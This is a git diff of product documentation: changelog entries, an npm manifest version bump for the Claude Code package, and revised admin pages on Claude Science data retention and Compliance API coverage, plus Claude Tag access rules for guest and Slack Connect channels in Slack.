+- [Code Review] Improved suggested fixes to say what the fix must keep working when other code depends on the behavior being changed +- [Code Review] Improved review comments that point to a second affected location to state that location's issue in a full sentence instead of a cut-off stub +- [Code Review] Fixed `/ultrareview --post` so a retry after a GitHub error posts the findings comment exactly once instead of never or twice; the comment now names the reviewed commit +- [Code Review] Fixed empty or content-identical pushes being re-reviewed on GitHub repositories whose owner or name contains a capital letter; these pushes are now skipped + ## 2.1.272 - Bug fixes and reliability improvements diff --git a/content/claude-code-manifest.json b/content/claude-code-manifest.json index 5eb2c71b69..ebd274bcda 100644 --- a/content/claude-code-manifest.json +++ b/content/claude-code-manifest.json @@ -6,25 +6,25 @@ "url": "https://github.com/anthropics/claude-code/issues" }, "dist": { - "shasum": "194e854958e753dcece7ec1f0eef4adf7433d74a", - "tarball": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-2.1.272.tgz", + "shasum": "09af0517822a0ba947a126b2e0ecb4d7953bdae5", + "tarball": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-2.1.273.tgz", "fileCount": 7, - "integrity": "sha512-sOwHBM69H8Zka3/D3rc2VNNemPYNlgfYTdhsoqPoXZdK5KcKQlzoue4asJ2RVc+tGb/Pz1qxjVV9nVJQ87W7Ng==", + "integrity": "sha512-ym42/WNRf6H43FQdIPigvzzTW0DeQ1CPqrTdYnAlkWVGj8x8NaysCE0TU148mb3lpny5yo1/94+7dQK5USmBEQ==", "signatures": [ { - "sig": "MEUCIB6nu6GRZv6fPZvDT8RQpdb5NBakwQ2JqD6yjKiqxgGjAiEAvtlNeR/lLbHcsqlau40A4eR6Sta0fJZEnftqPZvuTMs=", + "sig": "MEUCIA4o1Cs72BgCsBRQvpIm99HbKmhHFl4btpVNkYh/stJmAiEArnbb2UwnN/2Qn2rpn8wOHbRd3evEsY4M2jEYc4/9hDk=", "keyid": "SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U" }, { - "sig": "MEUCICI8PROKkWFS4k8NrFg3X9K/yflip9yymSIyn3TTZpdRAiEArl3Ic3SBmX3hJkiMCK3hVhQi8rh1Y1pW2AhpLVNjPaY=", + "sig": "MEYCIQC34CmdXeY1YPtTFYQN93odm+HcK30+LMh/NVD6DbEKGwIhANFC9lFeBD8cikUxxulz0RhUDiX6cVEChdPfyTRaKeeW", "keyid": "SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U" } ], - "unpackedSize": 184487 + "unpackedSize": 184549 }, "name": "@anthropic-ai/claude-code", "type": "module", - "_from": "file:staged-npm/anthropic-ai-claude-code-2.1.272.tgz", + "_from": "file:staged-npm/anthropic-ai-claude-code-2.1.273.tgz", "author": { "name": "Anthropic", "email": "support@anthropic.com" @@ -42,8 +42,8 @@ "email": "wolffiex@anthropic.com" }, "homepage": "https://github.com/anthropics/claude-code", - "_resolved": "/home/runner/work/claude-cli-internal/claude-cli-internal/staged-npm/anthropic-ai-claude-code-2.1.272.tgz", - "_integrity": "sha512-sOwHBM69H8Zka3/D3rc2VNNemPYNlgfYTdhsoqPoXZdK5KcKQlzoue4asJ2RVc+tGb/Pz1qxjVV9nVJQ87W7Ng==", + "_resolved": "/home/runner/work/claude-cli-internal/claude-cli-internal/staged-npm/anthropic-ai-claude-code-2.1.273.tgz", + "_integrity": "sha512-ym42/WNRf6H43FQdIPigvzzTW0DeQ1CPqrTdYnAlkWVGj8x8NaysCE0TU148mb3lpny5yo1/94+7dQK5USmBEQ==", "_npmVersion": "11.19.0", "description": "Use Claude, Anthropic's AI assistant, right from your terminal. Claude can understand your codebase, edit files, run terminal commands, and handle entire workflows for you.", "directories": {}, @@ -104,20 +104,21 @@ "_nodeVersion": "24.20.0", "dependencies": {}, "_hasShrinkwrap": false, + "readmeFilename": "README.md", "optionalDependencies": { - "@anthropic-ai/claude-code-linux-x64": "2.1.272", - "@anthropic-ai/claude-code-win32-x64": "2.1.272", - "@anthropic-ai/claude-code-darwin-x64": "2.1.272", - "@anthropic-ai/claude-code-linux-arm64": "2.1.272", - "@anthropic-ai/claude-code-win32-arm64": "2.1.272", - "@anthropic-ai/claude-code-darwin-arm64": "2.1.272", - "@anthropic-ai/claude-code-linux-x64-musl": "2.1.272", - "@anthropic-ai/claude-code-linux-arm64-musl": "2.1.272" + "@anthropic-ai/claude-code-linux-x64": "2.1.273", + "@anthropic-ai/claude-code-win32-x64": "2.1.273", + "@anthropic-ai/claude-code-darwin-x64": "2.1.273", + "@anthropic-ai/claude-code-linux-arm64": "2.1.273", + "@anthropic-ai/claude-code-win32-arm64": "2.1.273", + "@anthropic-ai/claude-code-darwin-arm64": "2.1.273", + "@anthropic-ai/claude-code-linux-x64-musl": "2.1.273", + "@anthropic-ai/claude-code-linux-arm64-musl": "2.1.273" }, "_npmOperationalInternal": { - "tmp": "tmp/claude-code_2.1.272_1789428853476_0.9084705345611357", + "tmp": "tmp/claude-code_2.1.273_1789495593984_0.00547513167959246", "host": "s3://npm-registry-packages-npm-production" }, - "_id": "@anthropic-ai/claude-code@2.1.272", - "version": "2.1.272" + "_id": "@anthropic-ai/claude-code@2.1.273", + "version": "2.1.273" } \ No newline at end of file diff --git a/content/claude/claude-science/admin-controls.md b/content/claude/claude-science/admin-controls.md index 9db95648a4..890a21d299 100644 --- a/content/claude/claude-science/admin-controls.md +++ b/content/claude/claude-science/admin-controls.md @@ -208,7 +208,7 @@ The status column in each table shows one of four values: | Data and privacy > Encryption keys (customer-managed keys) | Supported in Claude Science | The content Anthropic stores from Claude Science (model-call logs, skills members publish, and, where the Compliance API is enabled, session transcripts) is encrypted under your key. Data stored on the member's computer isn't hosted by Anthropic, and work members send to their own SSH hosts, Modal account, or scientific model endpoints doesn't pass through Anthropic, so neither is under your key. In organizations that use customer-managed encryption keys, the app also hides its response rating buttons and feedback form, as claude.ai does. See [Customer-managed encryption keys](/docs/claude-science/how-claude-science-works-with-your-data#customer-managed-encryption-keys). | | Data and privacy > Data residency (US-only inference), or the regional processing terms in your contract | Supported in Claude Science | Governs where Anthropic processes Claude Science requests to Claude, as for your other Claude products. It doesn't cover code that runs on the member's computer, SSH hosts, or Modal account (the same boundary as Claude Code). | | Data and privacy > HIPAA Compliance | Not applicable in Claude Science | Organizations with HIPAA compliance enabled can turn Claude Science on, but its use isn't covered under your BAA and members must keep protected health information out of it. These organizations start from stricter defaults, listed under [Defaults by plan](#defaults-by-plan). | -| Data and privacy > Retention period for chats and projects | Partially supported in Claude Science | The auto-delete window doesn't cover data on members' computers or the model-call logs Anthropic keeps for this product. For Enterprise organizations with the Compliance API enabled, the window does apply to the session transcripts it returns. | +| Data and privacy > Retention period for chats and projects (Enterprise) | Partially supported in Claude Science | The window doesn't reach data stored on members' computers. For Enterprise organizations with the Compliance API enabled, Anthropic keeps each Claude Science session transcript it captures for the window in effect at the time of capture, or for 6 years when no window is set. See [How Claude Science works with your data](/docs/claude-science/how-claude-science-works-with-your-data) for what Anthropic keeps and for how long. | ### Audit and compliance @@ -229,7 +229,7 @@ The status column in each table shows one of four values: ### Offboarding and local data -| Setting in claude.ai | Status for Claude Science | Note | -| ------------------------------ | ------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Removing a member (local data) | Not available in Claude Science | Removing a member ends their access to Claude Science but doesn't delete data already on their computer. Use your device management software for that (see [Manage on devices](/docs/claude-science/manage-on-devices)). | -| Deleting local data | Not available in Claude Science | When a member deletes Claude Science data on their computer, Anthropic isn't notified, so the matching server-side model-call logs keep their standard retention period. Compliance API session transcripts, where captured, remain until their retention period ends. | +| Setting in claude.ai | Status for Claude Science | Note | +| ------------------------------ | ------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Removing a member (local data) | Not available in Claude Science | Removing a member ends their access to Claude Science but doesn't delete data already on their computer. Use your device management software for that (see [Manage on devices](/docs/claude-science/manage-on-devices)). | +| Deleting local data | Not available in Claude Science | When a member deletes Claude Science data on their computer, nothing Anthropic holds is deleted: the model-call logs and, where captured, Compliance API session transcripts remain until their own retention periods end (see [How Claude Science works with your data](/docs/claude-science/how-claude-science-works-with-your-data)). | diff --git a/content/claude/claude-science/how-claude-science-works-with-your-data.md b/content/claude/claude-science/how-claude-science-works-with-your-data.md index dfb449b13b..552ee414cf 100644 --- a/content/claude/claude-science/how-claude-science-works-with-your-data.md +++ b/content/claude/claude-science/how-claude-science-works-with-your-data.md @@ -4,33 +4,59 @@ # How Claude Science works with your data -> What Anthropic receives from Claude Science, what stays on members' computers, and what Enterprise organizations can retrieve through the Compliance API. +> What Claude Science keeps on your computers, what it sends to Anthropic and how long Anthropic keeps it, who can access it, Anthropic's no-training and ownership commitments, and the controls available to your organization. -Claude Science is a local-first application. Conversation history and artifacts are stored on the member's computer, and Anthropic doesn't sync them to the member's Claude account or to other devices. Anthropic does receive the prompts and responses the app exchanges with Claude, and handles them under its standard retention and Trust & Safety policies. For Enterprise organizations with the Compliance API enabled, Anthropic also retains those exchanges as session transcripts that the organization can retrieve; [Compliance API coverage](#compliance-api-coverage) explains what they contain. The following sections cover each of these, plus remote compute, connectors, and customer-managed encryption keys. +Claude Science is client-side software that your organization installs and runs on computers it controls, and Anthropic provides the Claude models the app calls. This page covers what that means for your research data. + +## Model training and ownership of your work + +On Team and Enterprise plans the [Commercial Terms of Service](https://www.anthropic.com/legal/commercial-terms) apply. Under them Anthropic "may not train models on Customer Content from Services," and, as between the parties and to the extent permitted by applicable law, your organization "retains all rights to its Inputs" and "owns its Outputs," including the analyses, code, and results your researchers produce with Claude Science. Anthropic may use content to improve its models only when a member gives express consent, by providing feedback, which includes a copy of that conversation, or when your organization otherwise expressly chooses to allow it (see [Is my data used for model training?](https://privacy.claude.com/en/articles/7996868-is-my-data-used-for-model-training)). To turn off the ability for your researchers to provide feedback, an Owner can turn off the **Rate chats** toggle under **Organization settings** > **Data and privacy**. + +On Pro and Max plans the [Consumer Terms of Service](https://www.anthropic.com/legal/consumer-terms), [Anthropic Privacy Policy](https://www.anthropic.com/legal/privacy), and your Claude privacy settings in the Settings panel apply (see [Legal and compliance](/docs/claude-science/legal-and-compliance)). + +## Where Claude Science data lives + +| Where | What | +| --------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| The computer running Claude Science | Conversation history, project files and artifacts, saved memory, settings, and stored credentials, in a local folder Anthropic doesn't host or sync (see [Manage Claude Science on devices](/docs/claude-science/manage-on-devices)) | +| Anthropic | The items listed under [What Anthropic receives](#what-anthropic-receives) | +| Services your organization or members connect | Jobs, files, and queries sent to your SSH hosts, your Modal account, scientific model endpoints, cloud storage, and the external services that local (Featured and custom) connectors, sandboxed code, and remote jobs call, directly from the computer or your own compute and without passing through Anthropic (see [Admin controls](/docs/claude-science/admin-controls#organization-settings)) | + +Sign-in tokens and the credentials members store for compute and cloud storage are encrypted on the computer, and the rest of the local folder relies on operating-system permissions, so apply your full-disk encryption and device management policies to it. ## What Anthropic receives -Each time the app calls Claude, the prompt and Claude's response travel to Anthropic's servers and are logged under Anthropic's standard retention policy for model traffic (see How long do you store my organization's data in the Privacy Center), the same policy that applies to other Claude products. If your organization uses [customer-managed encryption keys (CMEK)](https://platform.claude.com/docs/en/manage-claude/cmek), these model-call logs are encrypted under your key (see [Customer-managed encryption keys](#customer-managed-encryption-keys) below). Your organization's Custom Data Retention setting doesn't change how long these model-call logs are kept. It does apply to the session transcripts that Anthropic keeps for Enterprise organizations with the Compliance API enabled, described in [Compliance API coverage](#compliance-api-coverage). The app also sends product-usage telemetry (event counts and timings, not conversation content) and, when it runs into an error, a redacted error report (the error type and its location in Claude Science's own code, not conversation content or research data). Both are turned off by the same [device configuration](/docs/claude-science/manage-on-devices#telemetry) setting. +The app sends the following to Anthropic, over TLS and signed in with the member's Claude account (see [Network requirements](/docs/claude-science/network-requirements#app-connections) for the domains): -## Compliance API coverage +* **Requests to Claude** every time Claude responds, carrying the conversation so far, including the member's prompts, the contents of files Claude has read (PDFs included), code and command output, connector results, images Claude is shown, and recalled memory facts. Anthropic keeps these as model-call logs (see [What Anthropic keeps and for how long](#what-anthropic-keeps-and-for-how-long)). +* **Web search queries**, run by Anthropic's web search service through a third-party search provider listed among [Anthropic's subprocessors](https://www.anthropic.com/subprocessors). +* **Dictation audio**, streamed to Anthropic's speech-to-text service only while a member dictates. If the app can't use that service while Claude Science is open in a browser such as Chrome or Edge, it falls back to the browser's built-in speech recognition, and that browser's vendor then processes the audio. +* **Feedback**, only when a member sends it, consisting of the rating, the comment, and a copy of that conversation (members are reminded before submission) with known credential formats and email addresses redacted. Not accepted from organizations with HIPAA compliance or customer-managed encryption keys. +* **Custom skills a member publishes**, stored with the member's claude.ai skills. +* **Usage telemetry and error reports**, which carry app, device, and timing data, plus account and organization identifiers on telemetry events, but no conversation content, file contents, or file names (see [Telemetry](/docs/claude-science/manage-on-devices#telemetry) for the device setting that turns them, and feedback, off). +* **Calls to connectors Anthropic hosts** from your claude.ai connector directory, which pass through Anthropic's connector service as in claude.ai, plus routine account, settings, and update traffic. -If your organization is on an Enterprise plan and has the [Compliance API](https://platform.claude.com/docs/en/manage-claude/compliance-api) enabled, your compliance team can retrieve transcripts of members' Claude Science sessions through it. Coverage of Claude Science sessions is in beta. +## What Anthropic keeps and for how long -Anthropic captures a session only while the Compliance API is enabled for your organization and the member is signed in with their Claude Enterprise account. Transcripts aren't available for sessions that ran before capture began for your organization, although such sessions can still appear in the session list with their content marked unavailable. Anthropic records each session on its servers as the app's requests reach the Claude API, without installing anything extra on the member's computer or capturing anything beyond the requests the app already sends to Claude. Sessions in organizations with [HIPAA compliance enabled](/docs/claude-science/enable-claude-science#hipaa-organizations) aren't captured, and [Retrieve session transcripts](https://platform.claude.com/docs/en/manage-claude/compliance-sessions) lists the other cases the Compliance API doesn't return. +For Team and Enterprise organizations, Anthropic processes this data under the [Data Processing Addendum](https://www.anthropic.com/legal/data-processing-addendum), encrypted at rest and in transit. Model-call logs follow Anthropic's [commercial data retention policy](https://privacy.claude.com/en/articles/7996866-how-long-do-you-store-my-organization-s-data), including its longer retention for content flagged by automated trust and safety systems or required by law. -A transcript is reconstructed from what the app exchanged with Claude during the session: the member's prompts, Claude's responses, tool calls (including code and file content Claude wrote through them), and the text portions of tool results, including text from files that Claude read, subject to the size limits the Compliance API applies. Claude's extended thinking and the app's system prompt aren't included (a placeholder marks where the system prompt was), tool definitions and connector (MCP server) configuration are omitted, and images, PDFs, and other non-text content appear as placeholders. Content that never reached the Claude API, such as a local file the session never sent, isn't in the transcript. +Requests to models designated [Covered Models](https://support.claude.com/en/articles/15425695-covered-models) are retained for 30 days to support Anthropic's safety work, as [Data retention practices for Covered Models](https://support.claude.com/en/articles/15425996-data-retention-practices-for-covered-models) describes. Feedback submissions are kept under the feedback terms in the same policy. -Anthropic keeps these transcripts for six years from capture by default. If your organization has set a Custom Data Retention period (in claude.ai under Organization settings > Data and privacy), that period applies to the transcripts instead, and when more than one retention period is set, the shortest applies. If your organization uses [customer-managed encryption keys (CMEK)](https://platform.claude.com/docs/en/manage-claude/cmek), the transcripts are encrypted under your key. The session endpoints are read-only, so transcripts can't be deleted through the API before they expire; see [Retention and deletion](https://platform.claude.com/docs/en/manage-claude/compliance-sessions#retention-and-deletion) for the current terms. +## Who at Anthropic can access retained content -The Compliance API's [Activity Feed](https://platform.claude.com/docs/en/manage-claude/compliance-activity-feed) also records changes to your Claude Science organization settings, such as turning the product on or off. The [Compliance API reference](https://platform.claude.com/docs/en/api/compliance/activities/list) describes these events. +Human review of model-call logs, published skills, or Compliance API transcripts requires a specific reason, such as reviewing content that automated safety systems flagged, responding to a security incident, or meeting a legal obligation, through a controlled path where access is restricted to personnel whose role requires it and logged as the [Data Processing Addendum](https://www.anthropic.com/legal/data-processing-addendum) describes, and content reviewed this way isn't used to train Claude models. Feedback a member chooses to send is handled separately, as [Model training and ownership of your work](#model-training-and-ownership-of-your-work) describes. [Access Transparency](https://platform.claude.com/docs/en/manage-claude/access-transparency) records don't cover the Claude apps, including Claude Science. -## Remote compute +## Controls available to your organization -When a member chooses to connect the app to remote compute (an owned server or cloud account they control), the app sends code and data directly to that destination. That traffic doesn't pass through Anthropic, and Anthropic doesn't store it. For organizations that use customer-managed encryption keys, see [Customer-managed encryption keys](#customer-managed-encryption-keys). You can turn SSH hosts, Modal, and scientific model endpoints off for the organization under **Organization settings** > **Claude Science** (see [SSH hosts](/docs/claude-science/admin-controls#ssh-hosts), [Modal](/docs/claude-science/admin-controls#modal), and [Scientific model endpoints](/docs/claude-science/admin-controls#scientific-model-endpoints)). For setup details, see [Remote compute clusters](/docs/claude-science/remote-compute-clusters) and [Compute providers](/docs/claude-science/compute-providers) in the user documentation. +* **Organization settings** for connectors, skills, the sandbox network allowlist, SSH hosts, Modal, model endpoints, and memory (see [Admin controls](/docs/claude-science/admin-controls)). There is no organization setting for web search, dictation, or telemetry. +* **US-only inference** (usage-based Enterprise plans) runs model inference for Claude Science requests in the United States, as for your other Claude apps (see [Enable US-only inference](https://support.claude.com/en/articles/15422948-enable-us-only-inference-for-your-organization)). +* **Device configuration** turns off telemetry, error reports, and feedback and relocates the local data folder (see [Manage Claude Science on devices](/docs/claude-science/manage-on-devices)). +* **Running Claude Science next to your data**, on a Linux server or virtual machine you control, keeps datasets on your infrastructure, apart from what Claude reads into the conversation, while Claude's inference runs on Anthropic's service (see [Run on a remote Linux server](/docs/claude-science/run-on-remote-linux-server)). +* **Usage analytics** show adoption and session metrics without conversation content (see [Monitor usage](/docs/claude-science/monitor-usage)). -## Connectors +## Compliance API coverage -Directory connectors you publish as an admin are reached through Anthropic's hosted connector service, so your directory connector permissions and tunnels apply. Connectors a member adds locally (either running on their own computer or pointing at a custom URL) talk to their app directly, without routing through Anthropic. You can turn custom connectors off for the organization (see [Custom connectors](/docs/claude-science/admin-controls#custom-connectors)). +On Enterprise plans with the [Compliance API](https://platform.claude.com/docs/en/manage-claude/compliance-api) enabled, your organization gets a record of Claude Science settings changes and its own read-only transcripts of members' Claude Science sessions (coverage is in beta), which are kept for your organization's own retention period (6 years by default) and, in organizations that use customer-managed encryption keys, encrypted under your key. [Retrieve session transcripts](https://platform.claude.com/docs/en/manage-claude/compliance-sessions) describes what a transcript contains and which sessions aren't captured, including those in organizations with HIPAA compliance enabled. ## Customer-managed encryption keys @@ -40,6 +66,10 @@ The app's conversation history, files, artifacts, and memory are stored on the m In organizations with CMEK enabled, the app hides its response rating buttons and feedback form, as claude.ai does. -## What this means for you as an admin +## What isn't available for Claude Science + +Zero data retention (a Claude Code zero-data-retention arrangement covers Claude Code sessions, not Claude Science), Enterprise Frontier Safeguards, coverage under Anthropic's Business Associate Agreement (keep protected health information out of Claude Science), and inference through a third-party cloud platform or your own cloud tenancy aren't available for Claude Science. See [Admin controls](/docs/claude-science/admin-controls#how-other-admin-settings-apply-to-claude-science) for how the other claude.ai admin settings apply to the app. + +## Related resources -Because conversations and artifacts live on members' computers, Custom Data Retention and Org Data Export don't reach that local data. For Enterprise organizations with the Compliance API enabled, Anthropic also keeps session transcripts captured from the app's model calls, which include file text the app sent to Claude, and a record of settings changes (see [Compliance API coverage](#compliance-api-coverage)). Device management is the control you have for local data: your device management software (such as your MDM or EDR) governs the app's local folder the same way it governs any other local application data. Identity controls (SSO, SCIM, roles) apply because sign-in goes through claude.ai. See [Admin controls](/docs/claude-science/admin-controls) for the organization settings that govern what members can connect the app to, and for what IP allowlisting and session duration cover. +[Commercial Terms of Service](https://www.anthropic.com/legal/commercial-terms), [Data Processing Addendum](https://www.anthropic.com/legal/data-processing-addendum), [subprocessor list](https://www.anthropic.com/subprocessors), [Usage Policy](https://www.anthropic.com/legal/aup), the [Anthropic Trust Center](https://trust.anthropic.com) for certifications and security documentation, and [Admin controls](/docs/claude-science/admin-controls). diff --git a/content/claude/claude-tag/admins/for-slack-admins.md b/content/claude/claude-tag/admins/for-slack-admins.md index 1d852b3acc..f516825193 100644 --- a/content/claude/claude-tag/admins/for-slack-admins.md +++ b/content/claude/claude-tag/admins/for-slack-admins.md @@ -27,7 +27,7 @@ When a member selects **Add to channel** or an auto-join pattern matches, Claude Reading a channel's full history requires being added there. Workspace search can surface public-channel content, the same as any app with the search scope. -Slack Connect channels (shared with another company) are always excluded, regardless of configuration. +In a Slack Connect channel (shared with another company), Claude is off by default. A Claude organization Owner can turn Claude on there. Claude then works without the instructions and memory your organization gave it for the workspace, and with only the tools a Claude admin has explicitly turned on for Slack Connect channels. See [Slack Connect channels](/docs/claude-tag/admins/restrict-access#slack-connect-channels). ## Requested scopes diff --git a/content/claude/claude-tag/admins/restrict-access.md b/content/claude/claude-tag/admins/restrict-access.md index ce2eac74b3..79f5914d25 100644 --- a/content/claude/claude-tag/admins/restrict-access.md +++ b/content/claude/claude-tag/admins/restrict-access.md @@ -4,7 +4,7 @@ # Restrict where Claude Tag operates -> Claude Tag responds only where it has been added and addressed. See who can invoke it, guest and externally shared channel limits, the per-scope version setting, how to limit it to chosen channels, how to delegate a channel's setup, and how to quiet or remove it. +> Claude Tag responds only where it has been added and addressed. See who can invoke it, what changes in guest and Slack Connect channels, the per-scope version setting, how to limit it to chosen channels, how to delegate a channel's setup, and how to quiet or remove it. export const BetaNote = () => Claude Tag is in public beta. Features and behavior described here may change before general availability.; @@ -125,7 +125,7 @@ DMs, guest channels, and shared channels sit outside the version setting: * **DMs.** The version setting doesn't cover them. To close those off too, turn off the [**Allow direct messages**](#allow-or-disable-direct-messages) toggle. * **Guest channels.** By default Claude is off in any channel that includes a Slack guest. If a chosen channel has guests, also set [Allow Claude to work in channels with guests](#restrict-guest-channels) to **Allow** or **Channel only** on its scope. -* **Shared channels.** A [channel shared across workspaces in your Enterprise Grid](#channels-shared-across-workspaces-in-your-enterprise-grid) takes its settings from **Default Slack access** only, and Claude [doesn't operate in Slack Connect channels](#externally-shared-channels) at all; neither can serve as a chosen channel. +* **Shared channels.** A [channel shared across workspaces in your Enterprise Grid](#channels-shared-across-workspaces-in-your-enterprise-grid) takes its settings from **Default Slack access** only and can't serve as a chosen channel. In a [Slack Connect channel](#slack-connect-channels), one shared with another company, the **Allow Claude to work in channels with guests** setting also decides whether Claude replies. To control who can use Claude in the allowed channels, turn on the [restriction toggle](#restrict-who-can-use-claude); to cap what a channel spends, [set a per-channel spend limit](#set-spend-limits). @@ -144,11 +144,11 @@ A channel that matches a blocked pattern stays off-limits even when it also matc By default, Claude is disabled in any channel that includes a Slack guest. You can change this default per scope with the **Allow Claude to work in channels with guests** setting, at [`claude.ai/admin-settings/claude-tag`](https://claude.ai/admin-settings/claude-tag) → **Claude Tag's access** → **Slack** → the scope → the collapsed **Advanced** section. The setting has three values: -| Value | What Claude does in a channel that includes a guest | -| ---------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Restrict** (default) | Doesn't reply. When someone mentions it, Claude posts a short notice that it doesn't respond in channels that include guests, with a link to this setting. | -| **Channel only** | Replies, but while a guest is present it runs with [channel-only access](#how-channel-only-works). The channel's own instructions and any access bundle attached directly to the channel still apply. | -| **Allow** | Replies with the full access the scope gives it. Bundles, connections, and instructions from the workspace and from **Default Slack access** apply, along with repositories, memory, and skills. | +| Value | What Claude does in a channel that includes a guest | +| ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| **Restrict** (default) | Doesn't reply. When someone mentions it, Claude posts a short notice that it doesn't respond in channels that include guests, with a link to this setting. | +| **Channel only** | Replies, but while a guest is present it runs with [channel-only access](#how-channel-only-works). The channel's own instructions still apply, and so do access bundles an Owner has turned on for channels with guests. | +| **Allow** | Replies with the full access the scope gives it. Bundles, connections, and instructions from the workspace and from **Default Slack access** apply, along with repositories, memory, and skills. | A channel without its own value shows **Inherit** and takes the value from its workspace, or from **Default Slack access**. Only an organization Owner can choose **Allow** or set a scope back to **Inherit**. The setting applies to every guest channel the scope covers. To open one channel rather than a whole workspace, set it on the channel's own scope. @@ -160,9 +160,9 @@ In any channel that includes a guest, even under **Allow**, Claude won't search Use **Channel only** to keep Claude available in a channel shared with contractors, clients, or agency partners without exposing the rest of the organization's setup to that conversation. While a guest is in the channel, Claude has: -* No [access bundles](/docs/claude-tag/admins/attach-to-scope) from the workspace or from **Default Slack access**. A bundle attached directly to this channel's scope still applies, with its connections, instructions, and plugins. Attach to a guest channel only what you're comfortable with Claude using in a conversation guests can read. +* No [access bundles](/docs/claude-tag/admins/attach-to-scope) by default, including bundles attached directly to this channel. To give Claude a bundle while a guest is present, an organization Owner opens the scope the bundle is attached to, finds the bundle's row under **Access bundles**, clicks the chip at the end of the row (it reads **Channels with only members (default)** until changed), and turns on **For channels with members and guests**. On a workspace or on **Default Slack access**, that checkbox attaches the bundle in every guest channel the scope covers. Turn it on only for bundles you're comfortable with Claude using in a conversation guests can read. * No connections set directly on the channel. -* No repositories, including any in a bundle attached to the channel. +* No repositories, including any in a bundle turned on for channels with guests. * No instructions set on the workspace or the organization. Instructions set on the channel itself still apply. * No memory, including this channel's own, and no skills. * No [environment set on the scope](/docs/claude-tag/admins/customize#configure-the-environment-for-a-scope). The session runs on the standard environment, so the setup script, environment variables, and network access level of the environment you chose don't apply while a guest is present. @@ -175,13 +175,42 @@ While a guest is present, Claude replies only to mentions and to threads it's al A guest can talk to Claude by mentioning `@Claude` or by replying in a thread Claude is part of, and Claude answers them. A guest can't approve a tool or permission request, and can't restart, mute, fork, or stop the session. If a guest clicks approve, nothing is granted. -Treat a channel's instructions, and the instructions in any bundle attached to the channel, as visible to everyone in that channel, including guests. Under **Channel only**, Claude follows them in replies that guests can read and respond to. +Treat a channel's instructions, and the instructions in any bundle turned on for channels with guests, as visible to everyone in that channel, including guests. Under **Channel only**, Claude follows them in replies that guests can read and respond to. **Channel only** takes effect where the **New** [Claude Tag version](/docs/claude-tag/admins/workspaces#set-the-version-for-a-scope) answers. On a scope where **Legacy** answers, a channel that includes a guest is treated as **Restrict**. -### Externally shared channels + -Claude doesn't operate in Slack Connect channels, the ones shared with another company. It's off in those channels regardless of scope or bundle, and this isn't configurable. +### Slack Connect channels + +A Slack Connect channel is a channel your Slack workspace shares with another company. By default, Claude is off in Slack Connect channels. When someone mentions `@Claude` there, Claude doesn't reply and doesn't post a message explaining why. + +Claude treats everyone from the other company as a guest, so the [**Allow Claude to work in channels with guests**](#restrict-guest-channels) setting decides whether Claude replies in a Slack Connect channel. To let Claude answer, an organization Owner sets **Allow Claude to work in channels with guests** to **Channel only** or **Allow** at [`claude.ai/admin-settings/claude-tag`](https://claude.ai/admin-settings/claude-tag) → **Claude Tag's access** → **Slack** → the workspace the channel belongs to → the collapsed **Advanced** section. You set the value on the workspace because a Slack Connect channel can't get a scope of its own after it's shared. If the channel had its own scope before it was shared, it keeps that scope, and you can set **Allow Claude to work in channels with guests** on the channel's scope instead of the workspace's. + +Claude answers in Slack Connect channels only on scopes set to the **New** [Claude Tag version](/docs/claude-tag/admins/workspaces#set-the-version-for-a-scope). On a scope set to **Legacy**, Claude stays silent in Slack Connect channels under every value of the guest setting. + +#### What access Claude has in a Slack Connect channel + +Claude runs with [channel-only access](#how-channel-only-works) in a Slack Connect channel, whether **Allow Claude to work in channels with guests** is set to **Allow** or to **Channel only**. Connections, instructions, and the environment set on the workspace or on **Default Slack access** don't apply, and Claude runs with no memory, no skills, no repositories, and no connections set directly on the channel. The channel's own instructions still apply, so treat them as visible to the other company. Claude also doesn't search your workspace, look up people or channels, or read channels other than the one it's in. + +No [access bundle](/docs/claude-tag/admins/attach-to-scope) reaches a Slack Connect channel by default, wherever the bundle is attached. To give Claude a bundle there, an organization Owner goes to [`claude.ai/admin-settings/claude-tag`](https://claude.ai/admin-settings/claude-tag) → **Claude Tag's access** → **Slack** → the scope the bundle is attached to → **Access bundles**, clicks the chip at the end of the bundle's row (it reads **Channels with only members (default)** until changed), and turns on **For Slack Connect channels**. On a workspace or on **Default Slack access**, that checkbox attaches the bundle in every Slack Connect channel the scope covers. People from the other company can then have Claude use whatever the bundle grants, so turn it on only for a bundle you would hand to that company. + +#### Who can use Claude in a Slack Connect channel + +People from the other company can talk to Claude by mentioning `@Claude` or by replying in a thread Claude is part of, and Claude answers them. To keep Claude from answering the other company's people, turn on your plan's member restriction toggle, described in [Restrict who can use Claude](#restrict-who-can-use-claude). + +No one from the other company can approve a tool or permission request. If they click approve, nothing is granted. + +Of the [commands](/docs/claude-tag/users/commands), your organization's members can run only `!help`, `!mute`, `!unmute`, and `!restart` in a Slack Connect channel. `!fork` and [routines](/docs/claude-tag/users/proactivity) aren't available there. + +Everyone in the channel, including the other company's people, can read what Claude posts. + +#### Replies, earlier threads, and installs in a Slack Connect channel + +* **Automatic replies.** Claude replies only to mentions and to threads it's already part of, even where [**Respond automatically**](/docs/claude-tag/users/when-claude-responds#turn-automatic-replies-on-or-off) is on. Claude reads the other messages in the channel as context, including messages from the other company's people and apps, and never replies to their apps or bots. +* **Threads from before the channel was shared.** Claude stops replying in a thread that started before the channel was shared. The next mention in that thread gets a notice asking you to mention `@Claude` in a new thread. +* **The other company's Claude.** If the other company also uses Claude Tag, their organization's settings decide whether their Claude answers in the channel, and your settings decide only whether your Claude answers. Claude never replies to the other company's Claude. +* **Enterprise Grid organization-level installs.** When Claude is installed for your whole Enterprise Grid organization rather than per workspace, Claude replies only in Slack Connect channels that one of your own workspaces created. In a Slack Connect channel the other company created, Claude stays silent and posts no notice. ### Channels shared across workspaces in your Enterprise Grid diff --git a/content/claude/claude-tag/concepts/security-and-data.md 